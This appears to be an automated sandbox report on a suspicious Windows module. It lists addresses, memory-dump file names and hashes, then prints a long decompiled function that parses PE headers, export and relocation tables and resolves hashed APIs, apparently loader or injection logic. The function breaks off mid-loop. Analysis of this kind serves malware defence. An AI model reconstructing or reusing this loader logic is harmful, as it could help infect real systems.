0x6e652575
0x6e652576
0x6e65257a
0x6e65257e
0x6e652587
0x6e65258b
0x6e65258f
0x6e6525ac
0x6e6525c0
0x6e6525c7
0x00000000
0x6e652340
0x6e652340
0x6e652340
0x6e652348
0x6e652348
0x6e65234a
0x6e65234e
0x6e652352
0x00000000
0x6e652352
0x6e6525cc
0x6e6525cc
0x6e6525d0
0x6e6525d2
0x6e6525d4
0x6e6525d9
0x6e6525db
0x6e6525de
0x6e6525ec
0x6e6525f1
0x6e6525f4
0x6e6525f6
0x6e6525f8
0x6e6525f8
0x6e6525fb
0x6e652603
0x6e652650
0x6e652650
0x6e652658
0x6e6526a5
0x6e6526ac
0x6e6526b8
0x6e6526c4
0x6e6526d0
0x6e6526dc
0x6e6526ef
0x6e65265a
0x6e652669
0x6e65266b
0x6e65266d
0x6e65266f
0x6e65266f
0x6e652687
0x6e652687
0x6e652693
0x6e652698
0x6e65269a
0x00000000
0x6e65269c
0x6e65269c
0x6e6526a3
0x6e6526a4
0x6e6526a4
0x6e65269a
0x6e652605
0x6e652614
0x6e652616
0x6e652618
0x6e65261a
0x6e65261a
0x6e652632
0x6e652632
0x6e65263e
0x6e652643
0x6e652645
0x00000000
0x6e652647
0x6e652647
0x6e65264e
0x6e65264f
0x6e65264f
0x6e652645
0x6e6517dc
0x6e6517de
0x6e6517f4
0x6e6517f6
0x6e6517f8
0x00000000
0x6e6517fa
0x6e6517fa
0x6e651802
0x6e65180b
0x6e65180b
0x6e651810
0x6e651818
0x00000000
0x6e65181e
0x6e651828
0x6e65182d
0x6e65182f
0x6e651852
0x6e651857
0x6e651859
0x00000000
0x6e65185f
0x6e65185f
0x6e651863
0x6e651864
0x6e651864
0x6e651831
0x6e651831
0x6e651837
0x6e651839
0x6e65183a
0x6e65183b
0x6e65183c
0x6e65183e
0x6e651845
0x6e651846
0x6e651847
0x6e651847
0x6e65182f
0x6e651818
0x6e6517f8
0x6e651784
0x6e651786
0x6e65179c
0x6e65179e
0x6e6517a0
0x00000000
0x6e6517a2
0x6e6517a2
0x6e6517aa
0x00000000
0x00000000
0x6e6517b0
0x00000000
0x6e6517aa
0x6e6517a0
0x6e651759
0x6e651759
0x6e651760
0x6e651762
0x6e651763
0x6e651763
0x6e651757
0x6e6516d4
0x6e6516d4
0x6e6516dc
0x6e65274f
0x6e652756
0x00000000
0x6e6516e2
0x6e65275b
0x6e652762
0x6e65276e
0x6e65277a
0x6e652786
0x6e652792
0x6e652797
0x6e6527a5
0x6e6527a5
0x6e65168a
0x6e65168a
0x6e651693
0x6e651694
0x6e651699
0x6e65169b
0x6e65169c
0x6e65169d
0x6e6516a9
0x6e6516aa
0x6e6516ab
0x6e6516ab
0x6e6515ca
0x6e6515d1
0x6e6515e7
0x6e6515e7

Strings

)8GV, xrefs: 6E6527FD
)8GV, xrefs: 6E651956

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: )8GV$)8GV
API String ID: 0-993736920
Opcode ID: dea2f20dc94c530f29d8f3bcf934b3ae7d45bcaa8090675dbaa4191f65c7426b
Instruction ID: 84dbdcc45d13c1c4077ca38f52546f1b056d2aef066bf5bff45e06944444cf7a
Opcode Fuzzy Hash: dea2f20dc94c530f29d8f3bcf934b3ae7d45bcaa8090675dbaa4191f65c7426b
Instruction Fuzzy Hash: D3A26A719187819AE730DFA4C951BEFB3F8AFE2318F014F1DA18956192EF30A944CB56

Uniqueness

Uniqueness Score: -1.00%

Function 6E65ACD0, Relevance: 2.9, Strings: 1, Instructions: 1641
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E6E65ACD0(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v28;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				char _v120;
				signed int _v124;
				char _v128;
				char _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				char _v148;
				char _v156;
				char _v160;
				char _v164;
				signed int _v168;
				char _v172;
				char _v176;
				char _v180;
				signed int _v192;
				char _v196;
				char _v200;
				char _v216;
				char _v220;
				char _v232;
				char _v248;
				void* _v252;
				char _v256;
				char _v260;
				char _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				void* _v276;
				char _v280;
				signed int _v284;
				char _v288;
				char _v292;
				intOrPtr _v296;
				signed int _v300;
				signed int _v304;
				char _v308;
				char _v312;
				char _v316;
				signed int _v320;
				char _v324;
				char _v328;
				char _v332;
				char _v336;
				char _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				void* _v364;
				char _v368;
				void* _v372;
				char _v376;
				char _v380;
				char _v384;
				char _v388;
				char _v392;
				char _v396;
				char _v400;
				void* _v404;
				char _v408;
				char _v412;
				char _v416;
				char _v420;
				char _v424;
				char _v428;
				char _v432;
				char _v436;
				void* _v440;
				char _v444;
				void* _v448;
				char _v452;
				char _v460;
				intOrPtr _v464;
				void* _v468;
				void* _v472;
				void* _v476;
				char _v480;
				void* _v484;
				void* _v488;
				intOrPtr _v492;
				void* _v496;
				void* _v500;
				void* _v504;
				intOrPtr _v508;
				void* _v520;
				void* _v524;
				void* _v528;
				void* _v532;
				char _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				void* _v548;
				intOrPtr _v552;
				void* _v556;
				char _v560;
				signed short* _v564;
				signed int _v568;
				signed int _v572;
				char _v576;
				intOrPtr _v580;
				signed int _v584;
				void* _v588;
				void* _v592;
				void* _v596;
				char _v604;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				signed int _v628;
				char _v636;
				intOrPtr _v640;
				char _v644;
				void* _v648;
				signed int _v656;
				char _v660;
				char _v668;
				char _v676;
				signed int _v680;
				intOrPtr _v700;
				void* _v704;
				void* _v708;
				void* _v716;
				intOrPtr _v724;
				intOrPtr _v732;
				signed int _v736;
				signed int _v740;
				intOrPtr _v744;
				void* _v748;
				void* _v756;
				void* _v764;
				void* _v772;
				void* _v776;
				void* _v780;
				void* _v784;
				void* _v788;
				void* _v796;
				void* _v800;
				void* _v804;
				void* _v808;
				void* _v812;
				void* _v816;
				void* _v820;
				void* _v824;
				void* _v828;
				void* _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				void* _v852;
				void* _v856;
				void* _v860;
				void* _v868;
				void* _v872;
				void* _v876;
				void* _v880;
				void* _v888;
				void* _v892;
				void* _v908;
				void* _v940;
				void* _v944;
				void* _v948;
				void* _v952;
				void* _v956;
				void* _v960;
				void* _v964;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t632;
				void* _t667;
				signed int _t672;
				char _t747;
				signed int _t768;
				signed int _t770;
				signed int _t778;
				char* _t781;
				signed int _t782;
				signed int _t793;
				signed int _t795;
				char* _t798;
				signed int _t799;
				signed int _t810;
				signed int _t812;
				signed int _t813;
				signed int _t815;
				intOrPtr _t865;
				intOrPtr _t900;
				signed int _t911;
				char _t974;
				signed char* _t1005;
				signed int _t1006;
				void* _t1008;
				void* _t1011;
				intOrPtr _t1017;
				signed int _t1021;
				char _t1030;
				char _t1035;
				signed int _t1036;
				char* _t1038;
				signed int _t1040;
				signed int _t1041;
				signed int* _t1043;
				signed int _t1044;
				void* _t1045;
				void* _t1047;
				void* _t1055;
				void* _t1065;
				char* _t1154;
				signed int _t1326;
				signed short* _t1435;
				void* _t1438;
				char* _t1449;
				char* _t1452;
				signed int _t1455;
				signed int _t1457;
				signed int _t1459;
				signed int _t1460;
				signed int _t1465;
				signed int _t1466;
				signed int _t1467;
				signed int _t1481;
				void* _t1485;
				signed int _t1487;
				char _t1498;
				void* _t1499;
				void* _t1500;
				char _t1503;
				void* _t1514;
				void* _t1518;
				char _t1531;
				signed int _t1537;
				signed int _t1538;
				signed int _t1539;
				char _t1540;
				intOrPtr _t1542;
				signed int _t1543;
				signed int _t1545;
				void* _t1547;
				void* _t1567;
				void* _t1569;
				signed int _t1570;
				void* _t1572;
				void* _t1573;
				void* _t1574;
				void* _t1576;

				_t1572 = (_t1570 & 0xfffffff0) - 0x254;
				_v540 = __edx;
				_v28 = __ecx;
				_t1534 =  *((intOrPtr*)(__ecx + 0xc));
				E6E6615C0(0x57325ee3, 0xb7186560);
				_push(0);
				E6E679350( &_v192);
				_v180 = 0;
				_push(0);
				E6E679350( &_v176);
				_push(0);
				E6E679350( &_v76);
				_v536 = 0x58d59bc9;
				asm("pxor xmm0, xmm0");
				asm("movq [esp+0x68], xmm0");
				E6E679670( &_v80, E6E679650( &_v80) + 0x10);
				E6E679640( &_v84, E6E679650( &_v84) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v544 = 0x3b4caff7;
				asm("movq [esp+0x68], xmm1");
				E6E679670( &_v88, E6E679650( &_v88) + 0x10);
				E6E679640( &_v92, E6E679650( &_v92) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v552 = 0xd9ff67e3;
				asm("movq [esp+0x68], xmm1");
				E6E679670( &_v96, E6E679650( &_v96) + 0x10);
				E6E679640( &_v100, E6E679650( &_v100) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v560 = 0xbcd9ca71;
				asm("movq [esp+0x68], xmm1");
				E6E679670( &_v104, E6E679650( &_v104) + 0x10);
				E6E679640( &_v108, E6E679650( &_v108) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v568 = 0x1be15feb;
				asm("movq [esp+0x68], xmm1");
				E6E679670( &_v112, E6E679650( &_v112) + 0x10);
				E6E679640( &_v116, E6E679650( &_v116) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v576 = 0xebe915fa;
				asm("movq [esp+0x68], xmm1");
				E6E679670( &_v120, E6E679650( &_v120) + 0x10);
				E6E679640( &_v124, E6E679650( &_v124) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("movups [eax], xmm0");
				E6E681270(0x588ab3ea,  &_v128);
				E6E679640( &_v128, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1d8], xmm0");
				E6E679640( &_v132, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1e0], xmm0");
				E6E679640( &_v136, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1f0], xmm0");
				E6E679640( &_v140, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1f8], xmm0");
				E6E679640( &_v144, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x200], xmm0");
				E6E679640( &_v148, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [eax-0x38], xmm0");
				 *((intOrPtr*)( &_v128 - 0x98)) = _t1534;
				E6E65D570( &_v280,  &_v136,  &_v128);
				_t1487 = _v140;
				_t1027 = _v136;
				if((_t1487 | _v136) != 0) {
					_push(0x40);
					E6E679350( &_v288);
					E6E680FA0(_t1534, E6E679640( &_v292, 0), __eflags, _t1487, _t1027, 0x40, 0);
					_t1435 = E6E679640( &_v312, 0);
					__eflags = ( *_t1435 & 0x0000ffff) - 0x5a4d;
					if(( *_t1435 & 0x0000ffff) == 0x5a4d) {
						asm("cdq");
						_v560 = _t1435[0x1e] + _t1487;
						asm("adc edx, ebx");
						_v564 = _t1435;
						_push(0x108);
						E6E679350( &_v388);
						E6E680FA0(_t1534, E6E679640( &_v392, 0), __eflags, _v568, _v572, 0x108, 0);
						_push( &_v412);
						E6E679520( &_v316);
						E6E679510( &_v416);
						_t632 = E6E679640( &_v320, 0);
						__eflags =  *_t632 - 0x4550;
						if( *_t632 != 0x4550) {
							goto L3;
						} else {
							_t1481 =  *(_t632 + 0x88);
							_v568 = _t1481;
							_v572 =  *((intOrPtr*)(_t632 + 0x8c));
							__eflags = _t1481;
							if(_t1481 == 0) {
								goto L3;
							} else {
								__eflags = _v572;
								if(_v572 == 0) {
									goto L3;
								} else {
									_push(_v572);
									E6E679350( &_v396);
									_t1011 = E6E679640( &_v400, 0);
									asm("adc ebx, 0x0");
									E6E680FA0(_t1534, _t1011, __eflags, _t1487 + _v576, _t1027, _v580, 0);
									_push( &_v420);
									E6E679520( &_v324);
									E6E679510( &_v424);
									_t1065 = E6E679640( &_v328, 0);
									_t1017 =  *((intOrPtr*)(_t1572 + 0x44));
									 *((intOrPtr*)(_t1065 + 0x1c)) =  *((intOrPtr*)(_t1065 + 0x1c)) - _t1017;
									 *((intOrPtr*)(_t1065 + 0x24)) =  *((intOrPtr*)(_t1065 + 0x24)) - _t1017;
									 *((intOrPtr*)(_t1065 + 0x20)) =  *((intOrPtr*)(_t1065 + 0x20)) - _t1017;
									_t1485 = E6E679640( &_v332,  *((intOrPtr*)(_t1065 + 0x20)) - _t1017);
									__eflags =  *(_t1065 + 0x18);
									if( *(_t1065 + 0x18) > 0) {
										_v560 = _t1534;
										_t1021 = 0;
										__eflags = 0;
										_t1531 = _v576;
										while(1) {
											_t1021 = _t1021 + 1;
											 *((intOrPtr*)(_t1485 + _t1021 * 8 - 8)) =  *((intOrPtr*)(_t1485 + _t1021 * 8 - 8)) - _t1531;
											_t554 = _t1021 - 1; // 0x0
											_t1567 = _t1021 + _t1021;
											__eflags = _t1021 + _t554 -  *(_t1065 + 0x18);
											if(_t1021 + _t554 >=  *(_t1065 + 0x18)) {
												break;
											}
											 *((intOrPtr*)(_t1485 + _t1021 * 8 - 4)) =  *((intOrPtr*)(_t1485 + _t1021 * 8 - 4)) - _t1531;
											__eflags = _t1567 -  *(_t1065 + 0x18);
											if(_t1567 <  *(_t1065 + 0x18)) {
												continue;
											}
											break;
										}
										_t1534 = _v560;
									}
									_push( &_v308);
									E6E6793D0( &_v292);
								}
							}
						}
					} else {
						L3:
						_push(0);
						E6E679350( &_v284);
					}
					E6E679510( &_v304);
					E6E67A110( &_v88);
					_v544 = 0x41195991;
					asm("pxor xmm0, xmm0");
					asm("movq [esp+0x68], xmm0");
					E6E679670( &_v88, E6E679650( &_v88) + 0x10);
					E6E679640( &_v92, E6E679650( &_v92) + 0xfffffff0);
					asm("movups xmm0, [esp+0x60]");
					asm("pxor xmm1, xmm1");
					asm("movups [eax], xmm0");
					_v552 = 0x77be1f6;
					asm("movq [esp+0x68], xmm1");
					E6E679670( &_v96, E6E679650( &_v96) + 0x10);
					E6E679640( &_v100, E6E679650( &_v100) + 0xfffffff0);
					asm("movups xmm0, [esp+0x60]");
					asm("pxor xmm1, xmm1");
					asm("movups [eax], xmm0");
					_v560 = 0xb5cdecc0;
					asm("movq [esp+0x68], xmm1");
					E6E679670( &_v104, E6E679650( &_v104) + 0x10);
					E6E679640( &_v108, E6E679650( &_v108) + 0xfffffff0);
					asm("movups xmm0, [esp+0x60]");
					_t1573 = _t1572 + 0xfffffff4;
					asm("movups [eax], xmm0");
					asm("movq xmm1, [edx+0xd8]");
					asm("movq [esp], xmm1");
					_v668 =  &_v112;
					E6E65E780( &_v312, _t1534, __eflags);
					E6E679640( &_v124, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x1e8], xmm0");
					E6E679640( &_v128, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x210], xmm0");
					_t1438 = E6E679640( &_v132, 0x20);
					_v268 =  *((intOrPtr*)(_t1438 + 8));
					 *((intOrPtr*)(_t1573 + 0x218)) =  *((intOrPtr*)(_t1438 + 0xc));
					_push(0);
					E6E679350( &_v320);
					_push(0);
					E6E679350( &_v308);
					_push(0);
					_push( *0x6e689d74);
					E6E661BA0(__eflags,  &_v284);
					E6E679B10( &_v340);
					E6E670B10( &_v284);
					E6E679670( &_v328, E6E679A90( &_v344, _t1534));
					_t667 = E6E679640( &_v348, 0);
					E6E65AC20(_t1569, _t667, E6E679640( &_v336, 0), _v296);
					_t1574 = _t1573 + 8;
					_t1030 = E6E679650( &_v340);
					_t95 = _t1030 + 2; // 0x2
					_v180 = E6E65D860( &_v300, 0x20000000, __eflags, _t95);
					_v640 = 0x20000000;
					_t672 = E6E65DB60( &_v304, 0x80000000, __eflags, 0x82);
					_v192 = _t672;
					 *(_t1574 + 0x220) = 0x80000000;
					__eflags = _t672 |  *(_t1574 + 0x220);
					if((_t672 |  *(_t1574 + 0x220)) == 0) {
						L6:
						E6E679510( &_v288);
						E6E679510( &_v304);
						E6E679510( &_v320);
						E6E679510( &_v120);
						E6E65E2F0(_t1030, _t1574 + 0x1bc, _t1569);
						E6E679510(_t1574 + 0x1ac);
						__eflags = 0;
						return 0;
					} else {
						__eflags = _v124 | _v584;
						if((_v124 | _v584) != 0) {
							E6E660B70( &_v560, 0, 0x80);
							_t1576 = _t1574 + 0xc;
							_v464 = _a4;
							_push(0);
							_push(0);
							E6E682060(_t1030,  &_v400, 0, _t1534);
							_v348 =  *((intOrPtr*)(_t1576 + 0x48));
							_t1449 =  &_v408;
							 *((intOrPtr*)(_t1449 + 0x38)) = _a8;
							_push(_t1449);
							E6E65E090( &_v384, _t1534,  &_v352);
							asm("cdq");
							asm("movd xmm1, eax");
							asm("movd xmm0, edx");
							asm("punpckldq xmm1, xmm0");
							asm("movq [esp+0xb0], xmm1");
							_v508 = E6E679650(_a8);
							asm("cdq");
							asm("movd xmm1, eax");
							asm("movd xmm0, edx");
							asm("punpckldq xmm1, xmm0");
							asm("movq [esp+0xc0], xmm1");
							_v492 = E6E679650(_v620);
							asm("cdq");
							asm("movd xmm1, eax");
							asm("movd xmm0, edx");
							asm("punpckldq xmm1, xmm0");
							asm("movq [edi-0xb8], xmm1");
							E6E680FA0(_t1534,  &_v460, __eflags, _v272, _v156, 7,  &_v292);
							_t1154 =  &_v156;
							 *((intOrPtr*)(_t1154 - 0x148)) = _v288;
							 *((intOrPtr*)(_t1154 - 0x144)) =  *((intOrPtr*)(_t1154 - 0x10));
							E6E67A110(_t1154);
							_v612 = 0x9cac62c7;
							asm("pxor xmm0, xmm0");
							asm("movq [esp+0x68], xmm0");
							E6E679670( &_v156, E6E679650( &_v156) + 0x10);
							E6E679640( &_v160, E6E679650( &_v160) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v620 = 0xa8f2638d;
							asm("movq [esp+0x68], xmm1");
							E6E679670( &_v164, E6E679650( &_v164) + 0x10);
							E6E679640( &_v168, E6E679650( &_v168) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v628 = 0xd8cc7390;
							asm("movq [esp+0x68], xmm1");
							E6E679670( &_v172, E6E679650( &_v172) + 0x10);
							E6E679640( &_v176, E6E679650( &_v176) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v636 = 0x6a68465a;
							asm("movq [esp+0x68], xmm1");
							E6E679670( &_v180, E6E679650( &_v180) + 0x10);
							E6E679640(_t1576 + 0x22c, E6E679650(_t1576 + 0x228) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v644 = 0x58d59bc9;
							asm("movq [esp+0x68], xmm1");
							E6E679670(_t1576 + 0x22c, E6E679650(_t1576 + 0x228) + 0x10);
							E6E679640( &_v192, E6E679650( &_v192) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							 *((intOrPtr*)(_t1576 + 0x60)) = 0xe9fbf3a8;
							asm("movq [esp+0x68], xmm1");
							E6E679670( &_v196, E6E679650( &_v196) + 0x10);
							E6E679640( &_v200, E6E679650( &_v200) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v660 = 0x649746ec;
							asm("movq [esp+0x68], xmm1");
							E6E679670(_t1576 + 0x22c, E6E679650(_t1576 + 0x228) + 0x10);
							E6E679640(_t1576 + 0x22c, E6E679650(_t1576 + 0x228) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v668 = 0x35b39b2b;
							asm("movq [esp+0x68], xmm1");
							E6E679670(_t1576 + 0x22c, E6E679650(_t1576 + 0x228) + 0x10);
							E6E679640( &_v216, E6E679650( &_v216) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							_t1452 =  &_v220;
							asm("movups [eax], xmm0");
							E6E681270(0x588ab3ea, _t1452);
							E6E679640( &_v220, 0);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x70], xmm0");
							E6E679640(_t1576 + 0x22c, 0x10);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x78], xmm0");
							E6E679640(_t1576 + 0x22c, 0x20);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x80], xmm0");
							E6E679640( &_v232, 0x30);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x88], xmm0");
							E6E679640(_t1576 + 0x22c, 0x40);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x90], xmm0");
							E6E679640(_t1576 + 0x22c, 0x50);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x98], xmm0");
							E6E679640(_t1576 + 0x22c, 0x60);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0xa0], xmm0");
							E6E679640( &_v248, 0x70);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [ecx-0x100], xmm0");
							_t747 = E6E65D530( &_v380, _t1452);
							_v396 = _t747;
							_v400 = _t1452;
							_t1496 = _t1452 - 0xffffffff;
							__eflags = _t747 - 0xffffffff | _t1452 - 0xffffffff;
							if((_t747 - 0xffffffff | _t1452 - 0xffffffff) == 0) {
								E6E65E230( &_v388);
								E6E682530(_t1030,  &_v412, 0xffffffff, _t1496, _t1534);
								E6E679510( &_v300);
								E6E679510( &_v316);
								E6E679510( &_v332);
								E6E679510( &_v132);
								E6E65E2F0(_t1030, _t1576 + 0x1bc, _t1569);
								E6E679510( &_v256);
								__eflags = 0;
								return 0;
							} else {
								_t1455 = _v108 | _v104;
								__eflags = _t1455;
								if(_t1455 == 0) {
									_v604 = _t1030;
									_t1498 = 0;
									__eflags = 0;
									 *((intOrPtr*)(_t1576 + 0x54)) = _t1534;
									do {
										_push(0);
										E6E679350( &_v428);
										E6E6616B0(_t1498, _t1534,  &_v376, 0x57325ee3);
										E6E66FDB0( &_v384,  &_v376);
										_t1456 = 0x7fffffff;
										E6E679710( &_v444, _v380, E6E676040(_v380, 0x7fffffff));
										E6E670B10( &_v388);
										E6E668CA0( &_v396);
										_t1537 = _v168;
										_t1034 =  *((intOrPtr*)( &_v452 + 0x120));
										_t768 = E6E679650( &_v452);
										__eflags = _t768;
										if(_t768 <= 0) {
											L25:
											asm("movq xmm0, [esp+0x200]");
											asm("movq [esp], xmm0");
											asm("pxor xmm2, xmm2");
											_v680 = 5;
											_v676 = _v280;
											asm("movq xmm1, [esp+0x210]");
											 *(_t1576 + 0x10) = _v284;
											asm("movq [esp+0x14], xmm1");
											_t1034 = _v148;
											_v660 = _v148;
											_t1534 = _v144;
											_v656 = _v144;
											asm("movq [esp+0x24], xmm2");
											asm("movq [esp+0x2c], xmm2");
											_t770 = E6E6804B0(_t1498, _v144);
											__eflags = _t770;
											if(_t770 == 0) {
												E6E6622A0(0x3e8, _t1456);
												E6E679510( &_v432);
												_t1455 =  &_v120;
												E6E65D570( &_v264, _t1455,  &_v112);
												__eflags = _v116 | _v112;
												if((_v116 | _v112) != 0) {
													_t1030 =  *((intOrPtr*)(_t1576 + 0x50));
													_t1534 = _v604;
													goto L9;
												} else {
													_t974 = E6E65D530( &_v264, _t1455);
													_v280 = _t974;
													_v284 = _t1455;
													_t1479 = _t1455 - 0xffffffff;
													__eflags = _t974 - 0xffffffff | _t1455 - 0xffffffff;
													if((_t974 - 0xffffffff | _t1455 - 0xffffffff) == 0) {
														E6E65E230( &_v392);
														E6E682530(_t1034,  &_v416, _t1479, _t1498, _t1534);
														E6E679510( &_v304);
														E6E679510( &_v320);
														E6E679510( &_v336);
														E6E679510( &_v136);
														E6E65E2F0(_t1034, _t1576 + 0x1bc, _t1569);
														E6E679510( &_v260);
														__eflags = 0;
														return 0;
													} else {
														goto L29;
													}
												}
											} else {
												goto L26;
											}
										} else {
											__eflags = 0;
											_v624 = _t1498;
											_t1498 = _t1537;
											_t1534 = 0;
											while(1) {
												_t1005 = E6E679640( &_v432, _t1534);
												asm("movq xmm0, [esp+0x200]");
												asm("movq [esp], xmm0");
												 *((intOrPtr*)(_t1576 + 8)) = 5;
												_v680 = _v284;
												asm("movq xmm1, [esp+0x1f8]");
												_v676 = _v288;
												_t1456 =  *_t1005 & 0x000000ff;
												asm("movq [esp+0x14], xmm1");
												asm("movq xmm2, [0x6e689d40]");
												 *((intOrPtr*)(_t1576 + 0x1c)) = _t1498;
												_v660 = _t1034;
												_v656 =  *_t1005 & 0x000000ff;
												 *((intOrPtr*)(_t1576 + 0x28)) = 0;
												asm("movq [esp+0x2c], xmm2");
												_t1006 = E6E6804B0(_t1498, _t1534);
												__eflags = _t1006;
												if(_t1006 != 0) {
													break;
												}
												E6E6622A0(0x64, _t1456);
												_t1498 = _t1498 + 1;
												asm("adc ebx, 0x0");
												_t1534 = _t1534 + 1;
												_t1008 = E6E679650( &_v432);
												__eflags = _t1534 - _t1008;
												if(_t1534 < _t1008) {
													continue;
												} else {
													_t1498 = _v624;
													goto L25;
												}
												goto L95;
											}
											L26:
											E6E679510( &_v432);
											E6E65E230( &_v392);
											E6E682530(_t1034,  &_v416, _t1456, _t1498, _t1534);
											E6E679510( &_v304);
											E6E679510( &_v320);
											E6E679510( &_v336);
											E6E679510( &_v136);
											E6E65E2F0(_t1034, _t1576 + 0x1bc, _t1569);
											E6E679510( &_v260);
											__eflags = 0;
											return 0;
										}
										goto L95;
										L29:
										_t1498 = _t1498 + 1;
										__eflags = _t1498 - 0xa;
									} while (_t1498 != 0xa);
									E6E65E230( &_v392);
									E6E682530(_t1034,  &_v416, _t1479, _t1498, _t1534);
									E6E679510( &_v304);
									E6E679510( &_v320);
									E6E679510( &_v336);
									E6E679510( &_v136);
									E6E65E2F0(_t1034, _t1576 + 0x1bc, _t1569);
									E6E679510( &_v260);
									__eflags = 0;
									return 0;
								} else {
									L9:
									 *((intOrPtr*)(_t1576 + 0x50)) = _t1030;
									_t1499 = 0;
									__eflags = 0;
									_v604 = _t1534;
									_t1538 = _v284;
									_t1035 = _v280;
									while(1) {
										asm("movq xmm0, [esp+0x200]");
										asm("movq xmm1, [esp+0x1f8]");
										asm("pxor xmm2, xmm2");
										asm("movq [esp], xmm0");
										_v680 = 5;
										_v676 = _t1035;
										 *(_t1576 + 0x10) = _t1538;
										asm("movq [esp+0x14], xmm1");
										_v660 = _v148;
										asm("movq xmm3, [0x6e689d48]");
										_v656 = _v144;
										asm("movq [esp+0x24], xmm2");
										asm("movq [esp+0x2c], xmm3");
										_t778 = E6E6804B0(_t1499, _t1538);
										__eflags = _t778;
										if(_t778 == 0) {
											break;
										}
										_t1035 = E6E65D530( &_v264, _t1455);
										_t1538 = _t1455;
										_t1455 = _t1538 - 0xffffffff;
										__eflags = _t1035 - 0xffffffff | _t1455;
										if((_t1035 - 0xffffffff | _t1455) == 0) {
											E6E65E230( &_v392);
											E6E682530(_t1035,  &_v416, _t1455, _t1499, _t1538);
											E6E679510( &_v304);
											E6E679510( &_v320);
											E6E679510( &_v336);
											E6E679510( &_v136);
											E6E65E2F0(_t1035, _t1576 + 0x1bc, _t1569);
											E6E679510( &_v260);
											__eflags = 0;
											return 0;
										} else {
											_t1499 = _t1499 + 1;
											__eflags = _t1499 - 0xa;
											if(_t1499 != 0xa) {
												continue;
											} else {
												E6E65E230( &_v392);
												E6E682530(_t1035,  &_v416, _t1455, _t1499, _t1538);
												E6E679510( &_v304);
												E6E679510( &_v320);
												E6E679510( &_v336);
												E6E679510( &_v136);
												E6E65E2F0(_t1035, _t1576 + 0x1bc, _t1569);
												E6E679510( &_v260);
												__eflags = 0;
												return 0;
											}
										}
										goto L95;
									}
									_v284 = _t1538;
									_t1500 = 0;
									__eflags = 0;
									_v280 = _t1035;
									_t1539 = _v284;
									_t1036 = _v280;
									while(1) {
										_push(0x80);
										_push(_v144);
										_push(_v148);
										_push(_t1539);
										_push(_t1036);
										_t1457 =  &_v576;
										__eflags = E6E65D170( &_v264, _t1457);
										if(__eflags != 0) {
											break;
										}
										_t1036 = E6E65D530( &_v284, _t1457);
										_t1539 = _t1457;
										_t1477 = _t1539 - 0xffffffff;
										__eflags = _t1036 - 0xffffffff | _t1539 - 0xffffffff;
										if((_t1036 - 0xffffffff | _t1539 - 0xffffffff) == 0) {
											E6E65E230( &_v412);
											E6E682530(_t1036,  &_v436, _t1477, _t1500, _t1539);
